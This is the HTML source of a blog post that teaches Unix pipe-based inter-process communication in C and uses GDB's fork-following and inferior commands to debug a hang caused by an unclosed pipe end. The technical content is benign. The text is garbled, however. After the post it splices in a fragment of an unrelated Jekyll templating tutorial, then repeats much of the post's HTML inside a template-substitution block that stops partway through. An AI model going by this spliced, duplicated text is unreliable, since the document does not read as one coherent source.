                            <a class="tag" href="/tags/#gdb" title="gdb">gdb</a>
                            
                            <a class="tag" href="/tags/#system" title="system">system</a>
                            
                        </div>
                        <h1>Inter-process communication using pipe and multiprocess debugging using GDB</h1>
                        
                        
                        <h2 class="subheading"></h2>
                        
                        <span class="meta">Posted on February 3, 2017</span>
                        <span class="meta">Updated on February 3, 2017</span>
                    </div>
                </div>
            </div>
        </div>
    </header>
    
    <!-- Post Content -->
    <article>
        <div class="container">
            <div class="row">
    
        <!-- Post Container -->
                <div class="
                    col-lg-8 col-lg-offset-2
                    col-md-10 col-md-offset-1
                    post-container">
    
    				<p>In this article, we’ll walk through a simple example showing</p>
    
    <ul>
      <li>how to use unix pipe for inter-process communication</li>
      <li>how to debug a program of three processes using GDB</li>
    </ul>
    
    <!-- excerpt -->
    <hr />
    <hr />
    
    <h3 id="pre-requists">Pre-requists</h3>
    
    <ul>
      <li>experience using pipe in terminal/bash, and understand basic concept of pipe (checkout the video <a href="https://www.youtube.com/watch?v=tc4ROCJYbm0">Unix intro</a>)</li>
      <li>experience using GDB, know how to set breakpoints (checkout <a href="https://sourceware.org/gdb/onlinedocs/gdb/index.html#Top">GDB tutorial</a>)</li>
      <li>c language readability (espicially <code class="language-plaintext highlighter-rouge">fork</code>, <code class="language-plaintext highlighter-rouge">exec</code>)</li>
      <li>understand I/O redirect (checkout <code class="language-plaintext highlighter-rouge">man dup</code>)</li>
    </ul>
    
    <h3 id="the-problem">The problem</h3>
    
    <p>The problem is to</p>
    
    <ol>
      <li>load two pre-built programs</li>
      <li>stream the output of the first program to the second one</li>
      <li>print the result of the second program</li>
      <li>print a finish sentence when both programs finish</li>
    </ol>
    
    <p>For example, we want to mimic the action of such bash command:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/bin/ls | /bin/sort
    </code></pre></div></div>
    
    <h3 id="the-first-version">The first version</h3>
    
    <p>Our very first version almost works, it</p>
    
    <ol>
      <li>sets up a pipe for later inter-process communication</li>
      <li>forks two processes</li>
      <li>modifies pipe for each process, so that the input/output is correctly redirected</li>
      <li>loads the pre-built programs to the processes</li>
      <li>prints the finish sentence</li>
    </ol>
    
    <p>The C file is <a href="https://github.com/otnt/inter-process-communication-using-pipe/blob/master/first.c">here</a>.</p>
    
    <p>Compile and run the program (assuming you have <code class="language-plaintext highlighter-rouge">gcc</code> installed). Notice you may need to modify positions for <code class="language-plaintext highlighter-rouge">ls</code> and <code class="language-plaintext highlighter-rouge">sort</code> programs if the belowing positions do not work.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -o first first.c
    ./first /bin/ls /usr/bin/sort
    </code></pre></div></div>
    
    <p>Here is the output:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Run two programs succeeded!
    README.md                                                                                                                                                                            
    a.out
    first
    first.c
    </code></pre></div></div>
    
    <p>And this the output of pipe in terminal:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/bin/ls | /usr/bin/sort 
    
    README.md
    a.out
    first
    first.c
    </code></pre></div></div>
    
    <p>We see the two outputs are exactly the same! Congratulations… But the finish sentence appears on top of the output instead of at the end.</p>
    
    <p>This is mainly because of printing a simple sentence usually runs much faster than loading and executing two small programs.</p>
    
    <p>To fix the problem, let’s move on to second version.</p>
    
    <h3 id="the-second-version">The second version</h3>
    
    <p>At first glance, we may think it extremely easy to fix the problem: just add wait statement in the last <code class="language-plaintext highlighter-rouge">else</code> branch, so that the main program will print the finish sentence after child processes finish.</p>
    
    <p>The second version is at <a href="https://github.com/otnt/inter-process-communication-using-pipe/blob/master/second.c">here</a>. Notice the only difference is two additional lines (105-106).</p>
    
    <p>Compile and run:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -o second second.c
    ./second /bin/ls /usr/bin/sort
    </code></pre></div></div>
    
    <p>We will find the program <strong>never</strong> finishes!</p>
    
    <p>Instead of telling you why the program breaks, we will use GDB to find out the reason together.</p>
    
    <p>Compile the program again with debug information and use GDB to execute the program:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -g -O0 -o second second.c 
    gdb --args second /bin/ls /usr/bin/sort
    </code></pre></div></div>
    
    <p>Before everything, let’s set <code class="language-plaintext highlighter-rouge">detach-on-fork</code> environment variable of GDB to off.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>set detach-on-fork off
    </code></pre></div></div>
    
    <p>By doint this, we could switch between processes easily. More details on this environment at <a href="https://sourceware.org/gdb/onlinedocs/gdb/Forks.html">here</a>.</p>
    
    <p>Now let’s set breakpoint at right before <code class="language-plaintext highlighter-rouge">waitpid</code> system call and run the program</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) br second.c:105
    Breakpoint 1 at 0x400b27: file second.c, line 105.
    (gdb) r
    ...
    Breakpoint 1, main (argc=3, argv=0x7fffffffe438) at second.c:105
    105			waitpid(pid1, NULL, 0);
    </code></pre></div></div>
    
    <p>Now use <code class="language-plaintext highlighter-rouge">next</code> command of GDB to step through the functions.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) n
    106			waitpid(pid2, NULL, 0);
    (gdb) n
    </code></pre></div></div>
    
    <p>This means the first program finishes successfully, but the second one suspends and never returns!</p>
    
    <p>In order to figure out why the second program never returns, let’s run the program again, and use <code class="language-plaintext highlighter-rouge">catch</code>, <code class="language-plaintext highlighter-rouge">inferior</code> commands to go to that child process instead of the parent process.</p>
    
    <p>First, let GDB stops when a <code class="language-plaintext highlighter-rouge">fork</code> system call is called</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) catch fork
    Catchpoint 1 (fork)
    </code></pre></div></div>
    
    <p>Next, go to the fork statement at line 84.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) r
    Starting program: second /bin/ls /usr/bin/sort
    
    Catchpoint 1 (forked process 6134), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    130	../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c: No such file or directory.
    (gdb) c
    Continuing.
    [New process 6134]
    
    Catchpoint 1 (forked process 6147), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    130	in ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c
    (gdb) finish
    Run till exit from #0  0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    [New process 6147]
    0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    Value returned is $1 = 6147
    </code></pre></div></div>
    
    <p>Notice we meet two <code class="language-plaintext highlighter-rouge">fork</code> system calls. The first one corresponds to the one at line 67, and second one is what we’re interested in.</p>
    
    <p>GDB use the concept of <em>inferior</em> to refer to threads, processes etc. To see currently running processes, just run</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) info inferiors 
      Num  Description       Executable        
      3    process 6147      second 
      2    process 6134      second 
    * 1    process 6127      second
    </code></pre></div></div>
    
    <p>Notice both executable names of child processes are “second”. This means the <code class="language-plaintext highlighter-rouge">/bin/ls</code> and <code class="language-plaintext highlighter-rouge">/usr/bin/sort</code> are not loaded yet. This is because by setting <code class="language-plaintext highlighter-rouge">detach-on-fork</code> off, the newly created processes will be suspended by default.</p>
    
    <p>Let’s switch to first program (inferior 2) and let it finish.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) inferior 2
    ...
    (gdb) c
    Continuing.
    process 6134 is executing new program: /bin/ls
    Reading symbols from /usr/lib/debug/lib/x86_64-linux-gnu/ld-2.19.so...done.
    [Inferior 2 (process 6134) exited normally]
    </code></pre></div></div>
    
    <p>Now only two inferiors are left.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) info inferiors 
      Num  Description       Executable        
      3    process 6147      second 
    * 2    &lt;null&gt;            /bin/ls           
      1    process 6127      second 
    </code></pre></div></div>
    
    <p>The process 6147 (inferior 1) is the one we’re actually interested in. Let’s figure out at which statement it stucks.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) inferior 3
    ...
    (gdb) finish
    Run till exit from #0  __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:137
    0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    Value returned is $2 = 0
    (gdb) n
    88		    	if (-1 == close(pipefd[1])) {
    (gdb) n
    94		    	if (-1 == dup2(pipefd[0], STDIN_FILENO)) {
    (gdb) n
    98		    	run(program2);
    (gdb) n
    
    </code></pre></div></div>
    
    <p>The program seems stuck when executing <code class="language-plaintext highlighter-rouge">/usr/bin/sort</code>. A guess is input file is never closed. Let’s check.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>^Z
    Program received signal SIGTSTP, Stopped (user).
    0x00007ffff78e26b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81
    81	in ../sysdeps/unix/syscall-template.S
    (gdb) shell ls -l /proc/6147/fd
    total 0
    lr-x------ 1 parallels parallels 64 Feb  3 16:37 0 -&gt; pipe:[91298]
    lrwx------ 1 parallels parallels 64 Feb  3 16:37 1 -&gt; /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:37 2 -&gt; /dev/pts/25
    lr-x------ 1 parallels parallels 64 Feb  3 16:37 3 -&gt; pipe:[91298]
    </code></pre></div></div>
    
    <p>Exactly! The read end of pipe is still opening! The read end should close automatically when the write end closes. The write end is closed in the first program. But it is never been closed in the parent program! And now we find out the reason of the bug!</p>
    
    <p>Just to make sure our guess is correct, let’s examine open file descriptors in parent process.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) inferior 1
    [Switching to inferior 1 [process 6127] (second)]
    [Switching to thread 1 (process 6127)] 
    #0  0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    (gdb) c
    Continuing.
    ^Z
    Program received signal SIGTSTP, Stopped (user).
    0x00007ffff7ad5a0c in __libc_waitpid (pid=6147, stat_loc=0x0, options=0) at ../sysdeps/unix/sysv/linux/waitpid.c:31
    31	../sysdeps/unix/sysv/linux/waitpid.c: No such file or directory.
    (gdb) shell ls -l /proc/6127/fd
    total 0
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 0 -&gt; /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 1 -&gt; /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 2 -&gt; /dev/pts/25
    lr-x------ 1 parallels parallels 64 Feb  3 16:29 3 -&gt; pipe:[91298]
    l-wx------ 1 parallels parallels 64 Feb  3 16:29 4 -&gt; pipe:[91298]
    </code></pre></div></div>
    
    <p>And we know the pipe is indeed not closed in parent process. This leads us to third version.</p>
    
    <h3 id="the-third-version">The third version</h3>
    
    <p>In order to fix the bug, we need to close both ends of pipe before waiting for child processes to terminate.</p>
    
    <p>The third version is <a href="https://github.com/otnt/inter-process-communication-using-pipe/blob/master/third.c">here</a>.</p>
    
    <p>Now let’s test the program again.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -o third third.c 
    ./third /bin/ls /usr/bin/sort
    </code></pre></div></div>
    
    <p>And here is the result on my machine,</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>README.md
    first.c
    second.c
    third
    third.c
    Run two programs succeeded!
    </code></pre></div></div>
    
    <p>which is the same as the result of terminal.</p>
    
    <h3 id="conclusion">Conclusion</h3>
    
    <p>In this article, we walk through a simple example that create two processes and load one binary image for each process. Additionally, we use GDB for debugging a bug in multi-process environment.</p>
    
    <p>We learnt</p>
    
    <ul>
      <li>C and Unix skills
        <ul>
          <li>pipe</li>
          <li>fork</li>
          <li>waitpid</li>
          <li>dup</li>
        </ul>
      </li>
      <li>GDB skills
        <ul>
          <li>catch</li>
          <li>inferior</li>
        </ul>
      </li>
    </ul>
    
    
                    <hr>
    
                    <ul class="pager">
                        
                        <li class="previous">
                            <a href="/2016/04/20/concurrency-vs-parallelism/" data-toggle="tooltip" data-placement="top" title="Concurrency vs. Parallelism">&larr; Previous Post</a>
                        </li>
                        
                        
                        <li class="next">
                            <a href="/2017/02/10/blog-with-Jekyll-for-beginner/" data-toggle="tooltip" data-placement="top" title="Blog with Jekyll for beginners">Next Post &rarr;</a>
                        </li>
                        
                    </ul>
    
                    
                    <!-- disqus 评论框 start -->
                    <div class="comment">
                        <div id="disqus_thread" class="disqus-thread"></div>
                    </div>
                    <!-- disqus 评论框 end -->
                    
    
                </div>
    
        <!-- Sidebar Container -->
        <!--
                <div class="
                    col-lg-8 col-lg-offset-2
                    col-md-10 col-md-offset-1
                    sidebar-container" id="toc">
                </div>
        -->
            </div>
        </div>
    </article>
    
    
    <!-- disqus 公共JS代码 start (一个网页只需插入一次) -->
    <script type="text/javascript">
        /* * * CONFIGURATION VARIABLES * * */
        var disqus_shortname = "pufan-jiangs-blog";
        var disqus_identifier = "/2017/02/03/Inter-process-communication-using-pipe-and-multiprocess-debugging-using-GDB";
        var disqus_url = "http://otnt.github.io//2017/02/03/Inter-process-communication-using-pipe-and-multiprocess-debugging-using-GDB/";
    
        (function() {
            var dsq = document.createElement('script'); dsq.type = 'text/javascript'; dsq.async = true;
            dsq.src = '//' + disqus_shortname + '.disqus.com/embed.js';
            (document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(dsq);
        })();
    </script>
    <!-- disqus 公共JS代码 end -->
    
    
      	</body>
    </html>
    

    notice this is a complete HTML file and the ```

    Inter-process communication using pipe and multiprocess debugging using GDB

    Posted on February 3, 2017 Updated on February 3, 2017

    In this article, we’ll walk through a simple example showing

    • how to use unix pipe for inter-process communication
    • how to debug a program of three processes using GDB


    Pre-requists

    • experience using pipe in terminal/bash, and understand basic concept of pipe (checkout the video Unix intro)
    • experience using GDB, know how to set breakpoints (checkout GDB tutorial)
    • c language readability (espicially fork, exec)
    • understand I/O redirect (checkout man dup)

    The problem

    The problem is to

    1. load two pre-built programs
    2. stream the output of the first program to the second one
    3. print the result of the second program
    4. print a finish sentence when both programs finish

    For example, we want to mimic the action of such bash command:

    /bin/ls | /bin/sort
    

    The first version

    Our very first version almost works, it

    1. sets up a pipe for later inter-process communication
    2. forks two processes
    3. modifies pipe for each process, so that the input/output is correctly redirected
    4. loads the pre-built programs to the processes
    5. prints the finish sentence

    The C file is here.

    Compile and run the program (assuming you have gcc installed). Notice you may need to modify positions for ls and sort programs if the belowing positions do not work.

    gcc -o first first.c
    ./first /bin/ls /usr/bin/sort
    

    Here is the output:

    Run two programs succeeded!
    README.md                                                                                                                                                                            
    a.out
    first
    first.c
    

    And this the output of pipe in terminal:

    /bin/ls | /usr/bin/sort 
    
    README.md
    a.out
    first
    first.c
    

    We see the two outputs are exactly the same! Congratulations… But the finish sentence appears on top of the output instead of at the end.

    This is mainly because of printing a simple sentence usually runs much faster than loading and executing two small programs.

    To fix the problem, let’s move on to second version.

    The second version

    At first glance, we may think it extremely easy to fix the problem: just add wait statement in the last else branch, so that the main program will print the finish sentence after child processes finish.

    The second version is at here. Notice the only difference is two additional lines (105-106).

    Compile and run:

    gcc -o second second.c
    ./second /bin/ls /usr/bin/sort
    

    We will find the program never finishes!

    Instead of telling you why the program breaks, we will use GDB to find out the reason together.

    Compile the program again with debug information and use GDB to execute the program:

    gcc -g -O0 -o second second.c 
    gdb --args second /bin/ls /usr/bin/sort
    

    Before everything, let’s set detach-on-fork environment variable of GDB to off.

    set detach-on-fork off
    

    By doint this, we could switch between processes easily. More details on this environment at here.

    Now let’s set breakpoint at right before waitpid system call and run the program

    (gdb) br second.c:105
    Breakpoint 1 at 0x400b27: file second.c, line 105.
    (gdb) r
    ...
    Breakpoint 1, main (argc=3, argv=0x7fffffffe438) at second.c:105
    105			waitpid(pid1, NULL, 0);
    

    Now use next command of GDB to step through the functions.

    (gdb) n
    106			waitpid(pid2, NULL, 0);
    (gdb) n
    

    This means the first program finishes successfully, but the second one suspends and never returns!

    In order to figure out why the second program never returns, let’s run the program again, and use catch, inferior commands to go to that child process instead of the parent process.

    First, let GDB stops when a fork system call is called

    (gdb) catch fork
    Catchpoint 1 (fork)
    

    Next, go to the fork statement at line 84.

    (gdb) r
    Starting program: second /bin/ls /usr/bin/sort
    
    Catchpoint 1 (forked process 6134), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    130	../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c: No such file or directory.
    (gdb) c
    Continuing.
    [New process 6134]
    
    Catchpoint 1 (forked process 6147), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    130	in ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c
    (gdb) finish
    Run till exit from #0  0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    [New process 6147]
    0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    Value returned is $1 = 6147
    

    Notice we meet two fork system calls. The first one corresponds to the one at line 67, and second one is what we’re interested in.

    GDB use the concept of inferior to refer to threads, processes etc. To see currently running processes, just run

    (gdb) info inferiors 
      Num  Description       Executable        
      3    process 6147      second 
      2    process 6134      second 
    * 1    process 6127      second
    

    Notice both executable names of child processes are “second”. This means the /bin/ls and /usr/bin/sort are not loaded yet. This is because by setting detach-on-fork off, the newly created processes will be suspended by default.

    Let’s switch to first program (inferior 2) and let it finish.

    (gdb) inferior 2
    ...
    (gdb) c
    Continuing.
    process 6134 is executing new program: /bin/ls
    Reading symbols from /usr/lib/debug/lib/x86_64-linux-gnu/ld-2.19.so...done.
    [Inferior 2 (process 6134) exited normally]
    

    Now only two inferiors are left.

    (gdb) info inferiors 
      Num  Description       Executable        
      3    process 6147      second 
    * 2    <null>            /bin/ls           
      1    process 6127      second 
    

    The process 6147 (inferior 1) is the one we’re actually interested in. Let’s figure out at which statement it stucks.

    (gdb) inferior 3
    ...
    (gdb) finish
    Run till exit from #0  __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:137
    0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    Value returned is $2 = 0
    (gdb) n
    88		    	if (-1 == close(pipefd[1])) {
    (gdb) n
    94		    	if (-1 == dup2(pipefd[0], STDIN_FILENO)) {
    (gdb) n
    98		    	run(program2);
    (gdb) n
    
    

    The program seems stuck when executing /usr/bin/sort. A guess is input file is never closed. Let’s check.

    ^Z
    Program received signal SIGTSTP, Stopped (user).
    0x00007ffff78e26b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81
    81	in ../sysdeps/unix/syscall-template.S
    (gdb) shell ls -l /proc/6147/fd
    total 0
    lr-x------ 1 parallels parallels 64 Feb  3 16:37 0 -> pipe:[91298]
    lrwx------ 1 parallels parallels 64 Feb  3 16:37 1 -> /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:37 2 -> /dev/pts/25
    lr-x------ 1 parallels parallels 64 Feb  3 16:37 3 -> pipe:[91298]
    

    Exactly! The read end of pipe is still opening! The read end should close automatically when the write end closes. The write end is closed in the first program. But it is never been closed in the parent program! And now we find out the reason of the bug!

    Just to make sure our guess is correct, let’s examine open file descriptors in parent process.

    (gdb) inferior 1
    [Switching to inferior 1 [process 6127] (second)]
    [Switching to thread 1 (process 6127)] 
    #0  0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    (gdb) c
    Continuing.
    ^Z
    Program received signal SIGTSTP, Stopped (user).
    0x00007ffff7ad5a0c in __libc_waitpid (pid=6147, stat_loc=0x0, options=0) at ../sysdeps/unix/sysv/linux/waitpid.c:31
    31	../sysdeps/unix/sysv/linux/waitpid.c: No such file or directory.
    (gdb) shell ls -l /proc/6127/fd
    total 0
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 0 -> /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 1 -> /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 2 -> /dev/pts/25
    lr-x------ 1 parallels parallels 64 Feb  3 16:29 3 -> pipe:[91298]
    l-wx------ 1 parallels parallels 64 Feb  3 16:29 4 -> pipe:[91298]
    

    And we know the pipe is indeed not closed in parent process. This leads us to third version.

    The third version

    In order to fix the bug, we need to close both ends of pipe before waiting for child processes to terminate.

    The third version is here.

    Now let’s test the program again.

    gcc -o third third.c 
    ./third /bin/ls /usr/bin/sort
    

    And here is the result on my machine,

    README.md
    first.c
    second.c
    third
    third.c
    Run two programs succeeded!
    

    which is the same as the result of terminal.

    Conclusion

    In this article, we walk through a simple example that create two processes and load one binary image for each process. Additionally, we use GDB for debugging a bug in multi-process environment.

    We learnt

    • C and Unix skills
      • pipe
      • fork
      • waitpid
      • dup
    • GDB skills
      • catch
      • inferior

    placeholder is where the content ofpost.html``` should fit into.

    The {% include foo.ext %}s are straightforward, they will be replaced by contents of _include/foo.ext.

    Let’s create file _include/head.html with following content:

    <head>
    	<meta charset="utf-8">	
    </head>
    

    This header has many things missing, but it works for our most simple blog.

    Therefore, after replacing everything, the actual HTML file for posts will be

    <!DOCTYPE html>
    <html>
    	<!-- Replace <head>
        <meta charset="utf-8">
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <meta name="google-site-verification" content="_PHrOvQDUqLMAglWM9iHO4lKA58bCnzrXyGN827Naak" />
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <meta name="description" content="Pufan Jiang's personal blog.">
        <meta name="keyword"  content="tech | software">
        <link rel="shortcut icon" href="img/favicon.ico">
    
        <title>Blog with Jekyll for beginners - Pufan Jiang | 江浦饭</title>
    
        <link rel="canonical" href="http://otnt.github.io//2017/02/10/blog-with-Jekyll-for-beginner/">
    
        <!-- Bootstrap Core CSS -->
        <link rel="stylesheet" href="/css/bootstrap.min.css">
    
        <!-- Custom CSS -->
        <!--<link rel="stylesheet" href="/css/hux-blog.min.css">-->
        <link rel="stylesheet" href="/css/pufanjiang-blog.css">
    
        <!-- Pygments Github CSS -->
        <link rel="stylesheet" href="/css/syntax.css">
    
        <!-- Custom Fonts -->
        <!-- <link href="http://maxcdn.bootstrapcdn.com/font-awesome/4.3.0/css/font-awesome.min.css" rel="stylesheet" type="text/css"> -->
        <!-- Hux change font-awesome CDN to qiniu -->
        <link href="http://cdn.staticfile.org/font-awesome/4.2.0/css/font-awesome.min.css" rel="stylesheet" type="text/css">
    </head>
     start -->
    	<head>
    		<meta charset="utf-8">	
    	</head>
    	<!-- Replace <head>
        <meta charset="utf-8">
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <meta name="google-site-verification" content="_PHrOvQDUqLMAglWM9iHO4lKA58bCnzrXyGN827Naak" />
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <meta name="description" content="Pufan Jiang's personal blog.">
        <meta name="keyword"  content="tech | software">
        <link rel="shortcut icon" href="img/favicon.ico">
    
        <title>Blog with Jekyll for beginners - Pufan Jiang | 江浦饭</title>
    
        <link rel="canonical" href="http://otnt.github.io//2017/02/10/blog-with-Jekyll-for-beginner/">
    
        <!-- Bootstrap Core CSS -->
        <link rel="stylesheet" href="/css/bootstrap.min.css">
    
        <!-- Custom CSS -->
        <!--<link rel="stylesheet" href="/css/hux-blog.min.css">-->
        <link rel="stylesheet" href="/css/pufanjiang-blog.css">
    
        <!-- Pygments Github CSS -->
        <link rel="stylesheet" href="/css/syntax.css">
    
        <!-- Custom Fonts -->
        <!-- <link href="http://maxcdn.bootstrapcdn.com/font-awesome/4.3.0/css/font-awesome.min.css" rel="stylesheet" type="text/css"> -->
        <!-- Hux change font-awesome CDN to qiniu -->
        <link href="http://cdn.staticfile.org/font-awesome/4.2.0/css/font-awesome.min.css" rel="stylesheet" type="text/css">
    </head>
     end -->
    	
    	<body>
    	
    		<!-- Replace <!-- Post Header -->
    <header class="intro-header" >
        <div class="container">
            <div class="row">
                <div class="col-lg-8 col-lg-offset-2 col-md-10 col-md-offset-1">
                    <div class="post-heading">
                        <div class="tags">
                            
                            <a class="tag" href="/tags/#c" title="c">c</a>
                            
                            <a class="tag" href="/tags/#unix" title="unix">unix</a>
                            
                            <a class="tag" href="/tags/#gdb" title="gdb">gdb</a>
                            
                            <a class="tag" href="/tags/#system" title="system">system</a>
                            
                        </div>
                        <h1>Inter-process communication using pipe and multiprocess debugging using GDB</h1>
                        
                        
                        <h2 class="subheading"></h2>
                        
                        <span class="meta">Posted on February 3, 2017</span>
                        <span class="meta">Updated on February 3, 2017</span>
                    </div>
                </div>
            </div>
        </div>
    </header>
    
    <!-- Post Content -->
    <article>
        <div class="container">
            <div class="row">
    
        <!-- Post Container -->
                <div class="
                    col-lg-8 col-lg-offset-2
                    col-md-10 col-md-offset-1
                    post-container">
    
    				<p>In this article, we’ll walk through a simple example showing</p>
    
    <ul>
      <li>how to use unix pipe for inter-process communication</li>
      <li>how to debug a program of three processes using GDB</li>
    </ul>
    
    <!-- excerpt -->
    <hr />
    <hr />
    
    <h3 id="pre-requists">Pre-requists</h3>
    
    <ul>
      <li>experience using pipe in terminal/bash, and understand basic concept of pipe (checkout the video <a href="https://www.youtube.com/watch?v=tc4ROCJYbm0">Unix intro</a>)</li>
      <li>experience using GDB, know how to set breakpoints (checkout <a href="https://sourceware.org/gdb/onlinedocs/gdb/index.html#Top">GDB tutorial</a>)</li>
      <li>c language readability (espicially <code class="language-plaintext highlighter-rouge">fork</code>, <code class="language-plaintext highlighter-rouge">exec</code>)</li>
      <li>understand I/O redirect (checkout <code class="language-plaintext highlighter-rouge">man dup</code>)</li>
    </ul>
    
    <h3 id="the-problem">The problem</h3>
    
    <p>The problem is to</p>
    
    <ol>
      <li>load two pre-built programs</li>
      <li>stream the output of the first program to the second one</li>
      <li>print the result of the second program</li>
      <li>print a finish sentence when both programs finish</li>
    </ol>
    
    <p>For example, we want to mimic the action of such bash command:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/bin/ls | /bin/sort
    </code></pre></div></div>
    
    <h3 id="the-first-version">The first version</h3>
    
    <p>Our very first version almost works, it</p>
    
    <ol>
      <li>sets up a pipe for later inter-process communication</li>
      <li>forks two processes</li>
      <li>modifies pipe for each process, so that the input/output is correctly redirected</li>
      <li>loads the pre-built programs to the processes</li>
      <li>prints the finish sentence</li>
    </ol>
    
    <p>The C file is <a href="https://github.com/otnt/inter-process-communication-using-pipe/blob/master/first.c">here</a>.</p>
    
    <p>Compile and run the program (assuming you have <code class="language-plaintext highlighter-rouge">gcc</code> installed). Notice you may need to modify positions for <code class="language-plaintext highlighter-rouge">ls</code> and <code class="language-plaintext highlighter-rouge">sort</code> programs if the belowing positions do not work.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -o first first.c
    ./first /bin/ls /usr/bin/sort
    </code></pre></div></div>
    
    <p>Here is the output:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Run two programs succeeded!
    README.md                                                                                                                                                                            
    a.out
    first
    first.c
    </code></pre></div></div>
    
    <p>And this the output of pipe in terminal:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/bin/ls | /usr/bin/sort 
    
    README.md
    a.out
    first
    first.c
    </code></pre></div></div>
    
    <p>We see the two outputs are exactly the same! Congratulations… But the finish sentence appears on top of the output instead of at the end.</p>
    
    <p>This is mainly because of printing a simple sentence usually runs much faster than loading and executing two small programs.</p>
    
    <p>To fix the problem, let’s move on to second version.</p>
    
    <h3 id="the-second-version">The second version</h3>
    
    <p>At first glance, we may think it extremely easy to fix the problem: just add wait statement in the last <code class="language-plaintext highlighter-rouge">else</code> branch, so that the main program will print the finish sentence after child processes finish.</p>
    
    <p>The second version is at <a href="https://github.com/otnt/inter-process-communication-using-pipe/blob/master/second.c">here</a>. Notice the only difference is two additional lines (105-106).</p>
    
    <p>Compile and run:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -o second second.c
    ./second /bin/ls /usr/bin/sort
    </code></pre></div></div>
    
    <p>We will find the program <strong>never</strong> finishes!</p>
    
    <p>Instead of telling you why the program breaks, we will use GDB to find out the reason together.</p>
    
    <p>Compile the program again with debug information and use GDB to execute the program:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -g -O0 -o second second.c 
    gdb --args second /bin/ls /usr/bin/sort
    </code></pre></div></div>
    
    <p>Before everything, let’s set <code class="language-plaintext highlighter-rouge">detach-on-fork</code> environment variable of GDB to off.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>set detach-on-fork off
    </code></pre></div></div>
    
